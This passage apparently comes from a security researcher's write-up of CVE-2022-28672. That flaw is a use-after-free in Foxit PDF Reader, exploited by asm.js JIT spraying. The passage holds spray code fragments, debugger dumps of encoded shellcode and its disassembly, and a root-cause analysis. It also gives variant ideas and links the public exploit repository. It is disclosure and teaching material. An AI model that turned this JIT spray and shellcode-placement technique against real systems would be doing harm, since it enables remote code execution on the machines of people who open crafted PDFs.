  • for (var f=0; f<0x10; f++) { asmJsModulesArr.push(${asmJsModuleName}(this, { func: ${ffiFuncName} }, 0)); }; creates 16 instances of the module and stores them in an array. Creating many instances gives the JIT more opportunities to compile.
  • eval(script) runs the generated source. eval executes a string as code.
  • asmJsModulesArr[asmJsModulesArr.length-1](); calls the last module, which forces the JIT to compile it. Without this call, the JIT might not generate the machine code.
  • The outer loop for (var jitcount=0; jitcount<3000; jitcount++) { sprayJITShellcode("foo"+jitcount, "payload"+jitcount, "ffi_func"+jitcount); } repeats the whole process 3000 times, each time with unique names. The result is thousands of executable buffers, each containing a copy of the encoded shellcode.
  • The comment // 00005dbc: index to shellcode from the base of the VirtualAlloc notes the offset within each buffer where the shellcode begins.

The exploit uses the best-educated guess of 0x19b40000 for shellcode execution, where one of the JIT sprays is located:

Text
0:025> u 19b40000
19b40000 e97b470000      jmp     19b44780
19b40005 e956470000      jmp     19b44760
19b4000a cc              int     3
19b4000b cc              int     3
19b4000c cc              int     3

This is the same pattern as before: a jump at the base of the buffer, leading to the generated code. The debugger shows the same jump pattern at the guessed address.

The hardcoded address comes from the assumed base address in 0x19b447a2|0, // using predicated 19b40000 base, used as the starting point for the shellcode. It is referenced by a call instruction, which can be verified in the debugger:

Text
0:025> ? 19b44729+74
Evaluate expression: 431245213 = 19b4479d
0:025> dd 19b4479d
19b4479d  19b447a2 90909068 c93168a8 6a68a890
19b447ad  68a85830 a8008b64 0c408b68 708b68a8
19b447bd  ad68a814 68a8ad96 a810588b 3c538b68

Line by line:

  • ? 19b44729+74 asks the debugger to evaluate the expression 0x19b44729 + 0x74. The result is 431245213 = 19b4479d in hexadecimal. This is the address the virtual call will read from, because the call is call dword ptr [eax+74h] and eax holds 0x19b44729.
  • dd 19b4479d dumps 4-byte values starting at 19b4479d.
  • The first value is 19b447a2, which is the address the shellcode starts at. So the virtual call reads 0x19b447a2 and calls it.
  • The following values are the encoded shellcode bytes.

Execution of the shellcode must start from 19b447a2, which the debugger confirms:

X86ASM
19b447a2 90         nop
19b447a3 90         nop
19b447a4 90         nop
19b447a5 a868       test    al, 68h
19b447a7 31c9       xor     ecx, ecx
19b447a9 90         nop
19b447aa a868       test    al, 68h
19b447ac 6a30       push    30h
19b447ae 58         pop     eax
19b447af a868       test    al, 68h
19b447b1 648b00     mov     eax, dword ptr fs:[eax]
19b447b4 a868       test    al, 68h
19b447b6 8b400c     mov     eax, dword ptr [eax+0Ch]
19b447b9 a868       test    al, 68h
...

Line by line:

  • nop is a do-nothing instruction. Three of them pad the start.
  • test al, 68h is the harmless separator instruction. It tests the low byte of eax against 0x68 and discards the result. The attacker uses it to make the encoded bytes line up.
  • xor ecx, ecx sets ecx to zero.
  • push 30h and pop eax set eax to 0x30.
  • mov eax, dword ptr fs:[eax] reads from the Thread Information Block, a Windows structure that holds per-thread data.
  • mov eax, dword ptr [eax+0Ch] reads a field from that structure.

The decoded shellcode contains a series of valid instructions that carry out the desired actions, which shows the JIT spraying succeeded in executing shellcode in the context of the Foxit process.

Root cause

The bug is a use-after-free of a Widget related object of size 0x64. setFocus on field_10 causes sub_1729070 to allocate the object (switch case 5). When the document is closed, sub_172B3A0 retrieves that same object and makes an indirect call through it, which invokes the format callback registered on field_12. That callback calls this.deletePages(0), and sub_173A900 frees the 0x64 block. Control then returns to code that still holds the pointer and dereferences it in sub_1734610, reading freed memory.

The design flaw is that a callback invoked during document teardown can free an object that the teardown path continues to use. The mitigations that would normally contain this did not apply: Foxit was not compiled with CFG, so the indirect call could target any address in the Foxit address space; heap memory is not executable, so DEP still blocked plain heap shellcode; and ASLR was enabled, so hardcoded addresses were not usable. JIT spraying with asm.js in the bundled V8 engine produced read-write-execute pages containing encoded shellcode, which bypassed DEP and ASLR together.

Impact

An attacker who can get a crafted PDF opened in Foxit PDF Reader can achieve remote code execution in the context of the Foxit PDF Reader process. The exploit demonstrated in the research runs calc.exe through WinExec and then ExitProcess. WinExec is a Windows function that launches a program, and ExitProcess ends the current process. Running calc.exe is a harmless demonstration: it proves code execution without doing damage.

The conditions are that the target runs the affected Foxit build and that the attacker can deliver the PDF and have it opened. The exploit uses a best-educated guess of 0x19b40000 for the shellcode execution address, where one of the JIT sprays is located.

Fix

The report does not describe a specific code change. It states that if Foxit Reader had been compiled with Control Flow Guard support, the bug would have been more difficult to exploit, and that the lack of CFG allowed JIT spraying to bypass ASLR and DEP. The broader lesson the authors draw is the importance of multiple layers of defence.

Variants to test

  1. Other PDF readers with a bundled JavaScript engine: check whether ArrayBuffer is disabled while SharedArrayBuffer remains available, and whether asm.js compiles to read-write-execute pages. A positive result is a PAGE_EXECUTE_READWRITE region containing recognisable encoded shellcode after running an asm.js module.
  2. Other callback-driven frees during document teardown: register Format and Calculate actions on form fields and trigger them from closeDoc. A positive result is a crash whose heap block is reported as free-ed by !ext.heap -p -a.
  3. Choice list items assignment with a registered format callback: set items from inside another callback and observe whether the target object is freed while still referenced. A positive result is an access violation on a freed block.
  4. Readers without CFG: check whether indirect calls through controlled objects can reach arbitrary addresses in the module. A positive result is a controlled call dword ptr [eax+74h] with eax pointing at sprayed data.
  5. Readers with ASLR but no info-leak primitive: test whether JIT spraying gives a predictable enough base to land shellcode. A positive result is execution starting at the expected offset inside a sprayed allocation.

Exploit repository and demo

The full exploit source is published in the hacksysteam/CVE-2022-28672 repository on GitHub, under the GPL-3.0 licence.

hacksysteam avatar
hacksysteam avatar From the original on hacksys.io

A demonstration video shows the exploit in action.

Or watch on YouTube
Embedded YouTube Video From the original on hacksys.io

Glossary

  • Access violation: an operating system error raised when a program tries to read or write memory it is not allowed to access.
  • Address Space Layout Randomization (ASLR): a mitigation that randomises where code, libraries, stack and heap are placed in memory each time a program starts, so hardcoded addresses cannot be relied on.
  • ANSI: a character encoding where each character is one byte, as opposed to Unicode where characters can take more bytes.
  • API: an Application Programming Interface, the set of functions a program exposes so that other code can talk to it.
  • ArrayBuffer: a JavaScript object representing a fixed-size block of raw binary data that scripts can read and write.
  • asm.js: a strict subset of JavaScript designed to be compiled efficiently into machine code by a JIT compiler.
  • Bitmask: a number whose individual bits each represent a yes/no setting.
  • Bug collision: when two researchers independently report the same vulnerability.
  • Callback: a function that is registered to be called automatically when a particular event happens.
  • CFG (Control Flow Guard): a mitigation that checks every indirect call against a list of legitimate targets and terminates the program if the target is not on the list.
  • CVE: a public catalogue number for a known security vulnerability.
  • Debugger: a tool that lets a researcher pause a running program, inspect its memory and step through its instructions.
  • DEP (Data Execution Prevention): an operating system feature that marks memory as non-executable so that data cannot be run as code.
  • Dereference: to follow a pointer and read or write the memory it points at.
  • FFI (Foreign Function Interface): a mechanism that lets code in one language call functions written in another.
  • Fuzz testing: feeding a program large numbers of mutated inputs and watching for crashes, to find bugs.
  • Gadget: a short sequence of existing instructions ending in a return, used as a building block in return-oriented programming.
  • Heap: the area of memory a program uses for objects it allocates at runtime.
  • Heap spraying: filling memory with many copies of attacker-controlled data so that at least one lands where the attacker wants it.
  • Indirect call: a call whose target address is read from memory at runtime rather than fixed in the instruction.
  • Info-leak: any bug that lets an attacker read memory they should not see, often used to defeat ASLR.
  • JIT (Just-In-Time) compiler: a component that converts bytecode into native machine code while a program is running, to improve performance.
  • JIT spraying: abusing a JIT compiler to place attacker-chosen bytes in executable memory, so that jumping into the compiled code runs the attacker's payload.
  • Out-of-bounds read: reading past the end of a buffer, which can leak data that was never meant to be seen.
  • Page heap: a debugging mode that tracks every allocation and free precisely, used to diagnose memory bugs.
  • PDF: Portable Document Format, a file format for documents that can include interactive forms and JavaScript.
  • Pointer: a value that holds the memory address of something else.
  • Read-write-execute: a memory permission that allows a region to be read, written and executed.
  • Register: a small, very fast storage slot inside the CPU.
  • Remote code execution (RCE): a vulnerability that lets an attacker run their own code on a victim's machine.
  • Return-oriented programming (ROP): chaining together short existing code sequences to execute arbitrary code without injecting new code.
  • Sandbox: a set of restrictions that stops a program from touching things outside its own little world.
  • SharedArrayBuffer: a JavaScript object representing a block of raw binary data that can be shared between threads; unlike ArrayBuffer, it was not disabled in Foxit.
  • Shellcode: the small piece of machine code an attacker wants to run once they have control of execution.
  • Stack trace: a list of the functions that were active when something happened, from the current function up through its callers.
  • Static form field: a form control defined in the PDF file itself, as opposed to one created at runtime by a script.
  • Use-after-free: a bug where a program frees a block of memory but keeps a pointer to it and later uses that pointer.
  • Virtual method: a function whose implementation is chosen at runtime based on the object's type, typically looked up through a vtable.
  • Vtable: a table of function pointers that a C++ object uses to dispatch virtual method calls.
  • V8: the JavaScript engine developed by Google, used inside Chrome and bundled in Foxit PDF Reader.
  • WinExec: a Windows function that launches a program.
  • x86: the 32-bit instruction set used by the build of Foxit analysed here.

More by Ashfaq Ansari

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.